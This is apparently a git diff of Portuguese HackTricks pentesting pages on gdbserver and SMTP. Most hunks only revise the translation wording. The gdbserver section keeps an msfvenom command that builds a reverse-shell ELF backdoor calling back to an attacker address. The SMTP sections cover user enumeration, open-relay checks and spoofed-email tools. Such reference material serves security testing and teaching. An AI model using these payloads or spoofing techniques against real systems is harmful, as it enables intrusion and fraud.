* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -6,15 +6,15 @@
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde reconhecimento até relatórios. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
|
||||
|
||||
|
@ -22,7 +22,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
## **Informações Básicas**
|
||||
|
||||
**gdbserver** é uma ferramenta que permite a depuração de programas remotamente. Ele é executado ao lado do programa que precisa de depuração no mesmo sistema, conhecido como "alvo". Essa configuração permite que o **GNU Debugger** se conecte de uma máquina diferente, o "host", onde o código-fonte e uma cópia binária do programa depurado estão armazenados. A conexão entre o **gdbserver** e o depurador pode ser feita por TCP ou por uma linha serial, permitindo configurações de depuração versáteis.
|
||||
**gdbserver** é uma ferramenta que permite a depuração de programas remotamente. Ele é executado ao lado do programa que precisa de depuração no mesmo sistema, conhecido como "alvo". Essa configuração permite que o **GNU Debugger** se conecte de uma máquina diferente, o "host", onde o código-fonte e uma cópia binária do programa depurado estão armazenados. A conexão entre o **gdbserver** e o depurador pode ser feita por TCP ou uma linha serial, permitindo configurações de depuração versáteis.
|
||||
|
||||
Você pode fazer um **gdbserver escutar em qualquer porta** e no momento **o nmap não é capaz de reconhecer o serviço**.
|
||||
|
||||
|
@ -30,7 +30,7 @@ Você pode fazer um **gdbserver escutar em qualquer porta** e no momento **o nma
|
|||
|
||||
### Upload e Execução
|
||||
|
||||
Você pode facilmente criar um **backdoor elf com msfvenom**, fazer upload e executá-lo:
|
||||
Você pode facilmente criar uma **porta dos fundos elf com msfvenom**, fazer upload e executá-la:
|
||||
```bash
|
||||
# Trick shared by @B1n4rySh4d0w
|
||||
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf
|
||||
|
@ -195,9 +195,9 @@ RemoteCmd()
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
|
||||
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e testes de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -208,7 +208,7 @@ RemoteCmd()
|
|||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
|
@ -1,12 +1,12 @@
|
|||
# 25,465,587 - Pentesting SMTP/s
|
||||
# 25,465,587 - Teste de invasão SMTP/s
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -14,17 +14,17 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até o relatório. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
|
||||
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de invasão**. Execute um teste de invasão completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até o relatório. Não substituímos testadores de invasão - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
## **Informações Básicas**
|
||||
|
||||
O **Simple Mail Transfer Protocol (SMTP)** é um protocolo utilizado dentro da suíte TCP/IP para o **envio e recebimento de e-mails**. Devido às suas limitações na fila de mensagens no final do destinatário, o SMTP é frequentemente utilizado juntamente com **POP3 ou IMAP**. Esses protocolos adicionais permitem aos usuários armazenar mensagens em uma caixa de correio do servidor e baixá-las periodicamente.
|
||||
O **Protocolo de Transferência de Correio Simples (SMTP)** é um protocolo utilizado dentro da suíte TCP/IP para o **envio e recebimento de e-mails**. Devido às suas limitações na fila de mensagens no final do destinatário, o SMTP é frequentemente utilizado juntamente com **POP3 ou IMAP**. Esses protocolos adicionais permitem aos usuários armazenar mensagens em uma caixa de correio do servidor e baixá-las periodicamente.
|
||||
|
||||
Na prática, é comum que **programas de e-mail** empreguem o **SMTP para enviar e-mails**, enquanto utilizam **POP3 ou IMAP para recebê-los**. Em sistemas baseados em Unix, o **sendmail** se destaca como o servidor SMTP mais frequentemente usado para fins de e-mail. O pacote comercial conhecido como Sendmail engloba um servidor POP3. Além disso, o **Microsoft Exchange** fornece um servidor SMTP e oferece a opção de incluir suporte POP3.
|
||||
Na prática, é comum que **programas de e-mail** usem **SMTP para enviar e-mails**, enquanto utilizam **POP3 ou IMAP para recebê-los**. Em sistemas baseados em Unix, o **sendmail** se destaca como o servidor SMTP mais frequentemente usado para fins de e-mail. O pacote comercial conhecido como Sendmail engloba um servidor POP3. Além disso, o **Microsoft Exchange** fornece um servidor SMTP e oferece a opção de incluir suporte POP3.
|
||||
|
||||
**Porta padrão:** 25,465(ssl),587(ssl)
|
||||
```
|
||||
|
@ -35,11 +35,11 @@ PORT STATE SERVICE REASON VERSION
|
|||
|
||||
Se tiver a oportunidade de **fazer a vítima enviar-lhe um email** (através do formulário de contato da página web, por exemplo), faça-o porque **poderá aprender sobre a topologia interna** da vítima ao ver os cabeçalhos do email.
|
||||
|
||||
Também pode obter um email de um servidor SMTP tentando **enviar para esse servidor um email para um endereço inexistente** (porque o servidor enviará ao atacante um email NDN). No entanto, certifique-se de que envia o email a partir de um endereço permitido (verifique a política SPF) e que pode receber mensagens NDN.
|
||||
Também pode obter um email de um servidor SMTP tentando **enviar para esse servidor um email para um endereço inexistente** (porque o servidor enviará ao atacante um email NDN). No entanto, certifique-se de enviar o email a partir de um endereço permitido (verifique a política SPF) e de que pode receber mensagens NDN.
|
||||
|
||||
Deve também tentar **enviar conteúdos diferentes porque pode encontrar informações mais interessantes** nos cabeçalhos como: `X-Virus-Scanned: by av.domain.com`\
|
||||
Deve enviar o arquivo de teste EICAR.\
|
||||
Detetar o **AV** pode permitir-lhe explorar **vulnerabilidades conhecidas.**
|
||||
Detectar o **AV** pode permitir-lhe explorar **vulnerabilidades conhecidas.**
|
||||
|
||||
## Ações Básicas
|
||||
|
||||
|
@ -129,7 +129,7 @@ RCPT TO:ed
|
|||
```
|
||||
### VRFY
|
||||
|
||||
O comando VRFY é usado para verificar se um usuário específico existe em um servidor SMTP. Este comando pode ser utilizado por atacantes para obter informações sobre usuários válidos no sistema alvo. Em muitos servidores SMTP modernos, o comando VRFY está desabilitado por padrão devido a preocupações com segurança.
|
||||
O comando VRFY é usado para verificar se um usuário específico existe em um servidor SMTP. Esse comando pode ser explorado por atacantes para obter informações sobre usuários válidos no sistema alvo. Em muitos servidores SMTP modernos, o comando VRFY está desativado por padrão devido a preocupações com segurança.
|
||||
```bash
|
||||
$ telnet 1.1.1.1 25
|
||||
Trying 1.1.1.1...
|
||||
|
@ -147,7 +147,7 @@ VRFY blah
|
|||
```
|
||||
### EXPN
|
||||
|
||||
O comando `EXPN` é utilizado para expandir uma lista de endereços de e-mail de uma lista de discussão. Este comando pode ser utilizado por um atacante para obter uma lista de endereços de e-mail válidos em um servidor SMTP. É importante desabilitar ou restringir o uso deste comando para evitar vazamento de informações sensíveis.
|
||||
O comando `EXPN` é usado para expandir uma lista de endereços de e-mail de uma lista de discussão. Isso pode ser útil para um atacante obter uma lista de endereços de e-mail válidos em um servidor SMTP.
|
||||
```bash
|
||||
$ telnet 1.1.1.1 25
|
||||
Trying 1.1.1.1...
|
||||
|
@ -170,9 +170,9 @@ Metasploit: auxiliary/scanner/smtp/smtp_enum
|
|||
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
|
||||
Nmap: nmap --script smtp-enum-users <IP>
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
|
||||
**Configuração instantânea disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
|
@ -245,9 +245,9 @@ print("[***]successfully sent email to %s:" % (msg['To']))
|
|||
```
|
||||
</details>
|
||||
|
||||
## Vulnerabilidade de Contrabando SMTP
|
||||
## Contrabando SMTP
|
||||
|
||||
A vulnerabilidade de Contrabando SMTP permitia contornar todas as proteções SMTP (verifique a próxima seção para mais informações sobre as proteções). Para mais informações sobre Contrabando SMTP, consulte:
|
||||
A vulnerabilidade de Contrabando SMTP permitia contornar todas as proteções SMTP (ver a próxima seção para mais informações sobre proteções). Para mais informações sobre Contrabando SMTP, consulte:
|
||||
|
||||
{% content-ref url="smtp-smuggling.md" %}
|
||||
[smtp-smuggling.md](smtp-smuggling.md)
|
||||
|
@ -257,7 +257,7 @@ A vulnerabilidade de Contrabando SMTP permitia contornar todas as proteções SM
|
|||
|
||||
As organizações são impedidas de ter e-mails não autorizados enviados em seu nome ao empregar **SPF**, **DKIM** e **DMARC** devido à facilidade de falsificação de mensagens SMTP.
|
||||
|
||||
Um **guia completo para essas contramedidas** está disponível em [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).
|
||||
Um **guia completo sobre essas contramedidas** está disponível em [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).
|
||||
|
||||
### SPF
|
||||
|
||||
|
@ -276,12 +276,12 @@ De [Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework):
|
|||
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| ALL | Sempre corresponde; usado para um resultado padrão como `-all` para todos os IPs não correspondidos pelos mecanismos anteriores. |
|
||||
| A | Se o nome de domínio tiver um registro de endereço (A ou AAAA) que possa ser resolvido para o endereço do remetente, corresponderá. |
|
||||
| IP4 | Se o remetente estiver em uma determinada faixa de endereços IPv4, corresponderá. |
|
||||
| IP6 | Se o remetente estiver em uma determinada faixa de endereços IPv6, corresponderá. |
|
||||
| MX | Se o nome de domínio tiver um registro MX que resolva para o endereço do remetente, corresponderá (ou seja, o e-mail vem de um dos servidores de e-mail de entrada do domínio). |
|
||||
| PTR | Se o nome de domínio (registro PTR) para o endereço do cliente estiver no domínio fornecido e esse nome de domínio resolver para o endereço do cliente (DNS reverso confirmado para frente), corresponderá. Esse mecanismo é desencorajado e deve ser evitado, se possível. |
|
||||
| EXISTS | Se o nome de domínio fornecido resolver para qualquer endereço, corresponderá (não importa o endereço para o qual ele resolve). Isso é raramente usado. Juntamente com a linguagem macro SPF, oferece correspondências mais complexas como consultas DNSBL. |
|
||||
| INCLUDE | Faz referência à política de outro domínio. Se a política desse domínio passar, este mecanismo passará. No entanto, se a política incluída falhar, o processamento continuará. Para delegar totalmente para a política de outro domínio, a extensão de redirecionamento deve ser usada. |
|
||||
| IP4 | Se o remetente estiver em uma determinada faixa de endereços IPv4, corresponderá. |
|
||||
| IP6 | Se o remetente estiver em uma determinada faixa de endereços IPv6, corresponderá. |
|
||||
| MX | Se o nome de domínio tiver um registro MX que resolva para o endereço do remetente, corresponderá (ou seja, o e-mail vem de um dos servidores de e-mail de entrada do domínio). |
|
||||
| PTR | Se o nome de domínio (registro PTR) para o endereço do cliente estiver no domínio fornecido e esse nome de domínio resolver para o endereço do cliente (DNS reverso confirmado para frente), corresponderá. Esse mecanismo é desencorajado e deve ser evitado, se possível. |
|
||||
| EXISTS | Se o nome de domínio fornecido resolver para qualquer endereço, corresponderá (não importa o endereço para o qual ele resolva). Isso é raramente usado. Juntamente com a linguagem macro SPF, oferece correspondências mais complexas, como consultas DNSBL. |
|
||||
| INCLUDE | Faz referência à política de outro domínio. Se a política desse domínio passar, este mecanismo passará. No entanto, se a política incluída falhar, o processamento continuará. Para delegar totalmente para a política de outro domínio, a extensão de redirecionamento deve ser usada. |
|
||||
| REDIRECT | <p>Um redirecionamento é um apontador para outro nome de domínio que hospeda uma política SPF, permitindo que vários domínios compartilhem a mesma política SPF. É útil ao trabalhar com uma grande quantidade de domínios que compartilham a mesma infraestrutura de e-mail.</p><p>A política SPF do domínio indicado no Mecanismo de redirecionamento será usada.</p> |
|
||||
|
||||
Também é possível identificar **Qualificadores** que indicam **o que deve ser feito se um mecanismo for correspondido**. Por padrão, o **qualificador "+"** é usado (então se algum mecanismo for correspondido, isso significa que é permitido).\
|
||||
|
@ -321,9 +321,9 @@ Para verificar o SPF de um domínio, você pode usar ferramentas online como: [h
|
|||
|
||||
### DKIM (DomainKeys Identified Mail)
|
||||
|
||||
O DKIM é utilizado para assinar e-mails de saída, permitindo sua validação por Agentes de Transferência de E-mail (MTAs) externos por meio da recuperação da chave pública do domínio no DNS. Esta chave pública está localizada em um registro TXT do domínio. Para acessar esta chave, é necessário conhecer tanto o seletor quanto o nome do domínio.
|
||||
O DKIM é utilizado para assinar e-mails de saída, permitindo sua validação por Agentes de Transferência de E-mail (MTAs) externos por meio da recuperação da chave pública do domínio no DNS. Esta chave pública está localizada em um registro TXT do domínio. Para acessar essa chave, é necessário conhecer tanto o seletor quanto o nome de domínio.
|
||||
|
||||
Por exemplo, para solicitar a chave, o nome do domínio e o seletor são essenciais. Estes podem ser encontrados no cabeçalho do e-mail `DKIM-Signature`, por exemplo, `d=gmail.com;s=20120113`.
|
||||
Por exemplo, para solicitar a chave, o nome de domínio e o seletor são essenciais. Estes podem ser encontrados no cabeçalho do e-mail `DKIM-Signature`, por exemplo, `d=gmail.com;s=20120113`.
|
||||
|
||||
Um comando para buscar estas informações pode se parecer com:
|
||||
```bash
|
||||
|
@ -333,7 +333,7 @@ dig 20120113._domainkey.gmail.com TXT | grep p=
|
|||
```
|
||||
### DMARC (Domain-based Message Authentication, Reporting & Conformance)
|
||||
|
||||
O DMARC melhora a segurança de e-mails baseando-se nos protocolos SPF e DKIM. Ele define políticas que orientam os servidores de e-mail no tratamento de e-mails de um domínio específico, incluindo como lidar com falhas de autenticação e para onde enviar relatórios sobre ações de processamento de e-mails.
|
||||
O DMARC melhora a segurança de e-mails, baseando-se nos protocolos SPF e DKIM. Ele define políticas que orientam os servidores de e-mail no tratamento de e-mails de um domínio específico, incluindo como lidar com falhas de autenticação e para onde enviar relatórios sobre ações de processamento de e-mails.
|
||||
|
||||
**Para obter o registro DMARC, você precisa consultar o subdomínio \_dmarc**
|
||||
```bash
|
||||
|
@ -353,14 +353,14 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
|
|||
|
||||
| Nome da Tag | Propósito | Exemplo |
|
||||
| ----------- | ---------------------------------------------- | ------------------------------- |
|
||||
| v | Versão do protocolo | v=DMARC1 |
|
||||
| v | Versão do protocolo | v=DMARC1 |
|
||||
| pct | Percentagem de mensagens sujeitas a filtragem | pct=20 |
|
||||
| ruf | URI de relatórios forenses | ruf=mailto:authfail@example.com |
|
||||
| rua | URI de relatórios agregados | rua=mailto:aggrep@example.com |
|
||||
| ruf | URI de relatório para relatórios forenses | ruf=mailto:authfail@example.com |
|
||||
| rua | URI de relatório de relatórios agregados | rua=mailto:aggrep@example.com |
|
||||
| p | Política para o domínio organizacional | p=quarantine |
|
||||
| sp | Política para subdomínios do DO | sp=reject |
|
||||
| adkim | Modo de alinhamento para DKIM | adkim=s |
|
||||
| aspf | Modo de alinhamento para SPF | aspf=r |
|
||||
| adkim | Modo de alinhamento para DKIM | adkim=s |
|
||||
| aspf | Modo de alinhamento para SPF | aspf=r |
|
||||
|
||||
### **E quanto aos Subdomínios?**
|
||||
|
||||
|
@ -395,7 +395,7 @@ nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
|||
* [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Verifique as configurações erradas de SPF e DMARC**
|
||||
* [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Obtenha automaticamente as configurações de SPF e DMARC**
|
||||
|
||||
### Enviar E-mail Falso
|
||||
### Enviar Email Falsificado
|
||||
|
||||
* [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index)
|
||||
* [**http://www.anonymailer.net/**](http://www.anonymailer.net)
|
||||
|
@ -432,7 +432,7 @@ K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
|
|||
```
|
||||
{% endhint %}
|
||||
|
||||
**Ou você poderia fazer isso manualmente:**
|
||||
**Ou você pode fazer isso manualmente:**
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="PHP" %}
|
||||
|
@ -584,7 +584,7 @@ Note: sourced from https://github.com/carlospolop/legion
|
|||
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
|
||||
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
|
||||
|
||||
|
@ -596,7 +596,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -7,14 +7,14 @@
|
|||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
|
||||
|
||||
|
@ -26,7 +26,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
É o primeiro comando SMTP: inicia a conversa identificando o servidor remetente e geralmente é seguido pelo nome de seu domínio.
|
||||
|
||||
**EHLO**\
|
||||
Um comando alternativo para iniciar a conversa, destacando que o servidor está usando o protocolo SMTP estendido.
|
||||
Um comando alternativo para iniciar a conversa, indicando que o servidor está usando o protocolo SMTP estendido.
|
||||
|
||||
**MAIL FROM**\
|
||||
Com este comando SMTP as operações começam: o remetente declara o endereço de e-mail de origem no campo "De" e realmente inicia a transferência de e-mail.
|
||||
|
@ -61,7 +61,7 @@ Este comando SMTP solicita uma confirmação sobre a identificação de uma list
|
|||
**QUIT**\
|
||||
Encerra a conversa SMTP.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
|
||||
|
||||
|
@ -74,7 +74,7 @@ Encerra a conversa SMTP.
|
|||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# SMTP Smuggling
|
||||
# Contrabando de SMTP
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -7,7 +7,7 @@
|
|||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
@ -16,17 +16,17 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
## Informações Básicas
|
||||
|
||||
